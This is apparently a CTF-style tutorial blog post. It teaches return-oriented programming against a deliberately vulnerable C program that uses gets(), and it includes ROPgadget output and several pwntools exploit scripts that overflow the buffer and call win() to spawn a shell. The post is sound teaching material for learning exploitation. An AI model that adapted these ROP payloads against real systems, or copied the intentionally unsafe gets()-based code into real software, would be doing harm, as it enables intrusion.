Today we will try to do the last challenge by another method. I will do the required analysis only this time because everything is same except the technique. We won’t do shellcoding this time.

Analysis

Lets take a look at the code again.

#include<stdio.h>

// Compiled with: gcc ret2shellcode.c -o ret2shellcode -z execstack -no-pie -fno-stack-protector 

__attribute__((constructor))
void ignore_me(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void win(int arg1, int arg2){
    if (arg1 == 0xdeadbeef && arg2 == 0xcafebabe){
        puts("You're awesome");
        execve("/bin/sh", NULL, NULL);
    }
}

int main(int argc, char **argv, char **environ){
    char buf[0x60];
    puts("Show me your creativity :P");
    printf("For now, Imma tell you a secret: %p\n", buf);
    gets(buf);
}

Last time we completely ignored win function. This time we will talk about it.
It takes two integers as arguments and compares their values with some constants and executes execve if they match. If they don’t match, the function returns simply.

A word about execve

execve (EXECute with arguments (argV) and Environment variables) is a syscall in linux kernel which is used to execute new programs. Its signature is as follows:

int execve(const char *pathname, char *const argv[], char *const envp[])

Its first argument is the path of file to be executed, second is array of arguments and third is array of environment variables. argv and envp can be NULL (like in this case).

Our objective here is to make win run execve to get a shell. To do so we have to figure out a way to set the arguments.

Some info about calling convention

This binary is compiled for 64 bit architecture. In 64 bit architecture, first 6 arguments are stored in registers; RDI, RSI, RDX, RCX, R8 and R9 respectively and the rest are on the stack (if any). On 32 bit architecture, all arguments are on stack for function calls. So, we need a way to set RDI and RSI to desired values.

Exploitation

Now that we know the objective, we will try to achieve it. We will suppose that shellcoding is not possible and Non eXecutable stack protection is enabled (you can try this by compiling the code without -zexecstack option). Without shellcode, how can we set the registers to desired values? Well, for these cases we use Return-Oriented-Programming (ROP).

What is ROP?

ROP is a technique against Non eXecutable stack protection. When NX is enabled, we cannot inject shellcode and do whatever we want because stack is set to have read and write permissions only (rw-). If you try to execute shellcode, you will get Segmentation Fault (SEGFAULT) because you are trying to execute something which is not marked executable. Just like when you get Permission denied in linux when you try to execute a file which is not marked executable.
The idea behind ROP is to use useful pieces of code (gadgets) which are present in the binary or some library you can access to perform tasks you would have performed using shellcoding. e.g. setting registers, calling function, writing data etc.
The idea is to utilise the way ret (return) instruction works. It starts executing instructions at address which is on top of stack. You can use this behaviour to make a chain to do useful tasks.

In this case, we want to set RDI and RSI registers. So, we need gadgets for that. But, first we need to find them.

Finding ROP gadgets

ROP gadgets can be found using a number of methods. But, it is better to use tools made for this purpose. The most popular are ROPgadget and Ropper. I use ROPgadget for no particular reason. Most of the time, we want a pop <reg>; ret to set value for <reg> because pop sets value of <reg> to whatever value which is on top of stack and in buffer overflows, stack is usually under control. To find all gadgets of type pop <reg>; ret you can use the following command for ROPgadget:
ROPgadget --binary /path/to/binary --only 'pop|ret'.
This is what we get for given binay.

0x0000000000401294 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401296 : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401298 : pop r14 ; pop r15 ; ret
0x000000000040129a : pop r15 ; ret
0x0000000000401293 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401297 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401149 : pop rbp ; ret
0x000000000040129b : pop rdi ; ret
0x0000000000401299 : pop rsi ; pop r15 ; ret
0x0000000000401295 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401016 : ret
0x0000000000401072 : ret 0x2f

We have got what we needed. There are gadgets to set RDI and RSI. (For the curious, because we don’t care about r15, we will put a junk value into it)

0x000000000040129b : pop rdi ; ret
0x0000000000401299 : pop rsi ; pop r15 ; ret

Lets start writing the exploit script.

#!/usr/bin/env python3
from pwn import *

def start():
	global p
	if args.REMOTE:
		p = remote('localhost', 1337)
	else:
		p = elf.process()

context.binary = elf = ELF('./ret2shellcode')
libc = elf.libc
start()

### Exploit Goes here ###
offset = 0x68
pop_rdi_ret = 0x40129b
pop_rsi_pop_r15_ret = 0x401299

p.interactive()
p.close()

We need a payload which sets the register to desired value and calls win afterwards.
First we need to fill the payload with junk bytes to get upto RIP.

# Offset upto RIP
payload = b'A'*offset

To set RDI to 0xdeadbeef we will use pop_rdi_ret gadget. p64 is a function in pwntools which returns byte representation of given integer for 64 bit architecture in little-endian format. For 32 bit, you have to use p32.

# set RDI=0xdeadbeef
payload += p64(pop_rdi_ret)
payload += p64(0xdeadbeef)

To set RSI to 0xcafebabe we will use pop_rsi_pop_r15_ret gadget. As I said earlier, we don’t care what R15 holds, we will use a junk value (NULL).

# set RSI=0xcafebabe R15=0
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(0xcafebabe)
payload += p64(0)

Now that we have set the registers properly, we need to call win to get shell. I used pwntools’ ELF class to get win’s address.

# call win
payload += p64(elf.sym.win)

Now we need to send the payload to see the action. (sendline because gets requires a newline)

p.sendline(payload)

and BOOM! you have got shell again.

Final exploit

#!/usr/bin/env python3
from pwn import *

def start():
	global p
	if args.REMOTE:
		p = remote('localhost', 1337)
	else:
		p = elf.process()

context.binary = elf = ELF('./ret2shellcode')
libc = elf.libc
start()

### Exploit Goes here ###
offset = 0x68
pop_rdi_ret = 0x40129b
pop_rsi_pop_r15_ret = 0x401299

# Offset upto RIP
payload = b'A'*offset

# set RDI=0xdeadbeef
payload += p64(pop_rdi_ret)
payload += p64(0xdeadbeef)

# set RSI=0xcafebabe R15=0
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(0xcafebabe)
payload += p64(0)

# call win
payload += p64(elf.sym.win)

p.sendline(payload)

p.interactive()
p.close()

There is a better way to represent the rop chain to make it more understandable.

#!/usr/bin/env python3
from pwn import *

def start():
	global p
	if args.REMOTE:
		p = remote('localhost', 1337)
	else:
		p = elf.process()

context.binary = elf = ELF('./ret2shellcode')
libc = elf.libc
start()

### Exploit Goes here ###
offset = 0x68
pop_rdi_ret = 0x40129b
pop_rsi_pop_r15_ret = 0x401299

rop_chain = [
    # set RDI=0xdeadbeef
    pop_rdi_ret, 0xdeadbeef, 

    # set RSI=0xcafebabe R15=0
    pop_rsi_pop_r15_ret, 0xcafebabe, 0,

    # call win
    elf.sym.win,
]

# Offset upto RIP
payload = b'A'*offset
payload += b''.join([p64(x) for x in rop_chain])

p.sendline(payload)

p.interactive()
p.close()

Now for the final sauce, you can use pwntools’ ROP utility to automate all dirty stuff (finding gadgets, arranging them correctly, taking care of architecture etc.)

#!/usr/bin/env python3
from pwn import *

def start():
	global p
	if args.REMOTE:
		p = remote('localhost', 1337)
	else:
		p = elf.process()

context.binary = elf = ELF('./ret2shellcode')
libc = elf.libc
start()

### Exploit Goes here ###
offset = 0x68

# Initializing ROP with the elf to find gadgets
rop = ROP(elf)
rop.win(0xdeadbeef, 0xcafebabe)

# Offset upto RIP
payload = b'A'*offset
payload += rop.chain()

p.sendline(payload)

p.interactive()
p.close()

If any of you have any questions, suggestions or doubts, please reach out to me on discord (stdnoerr#7880) or twitter (@stdnoerr)


stdnoerr

CTFer | pwner | wanna learn everything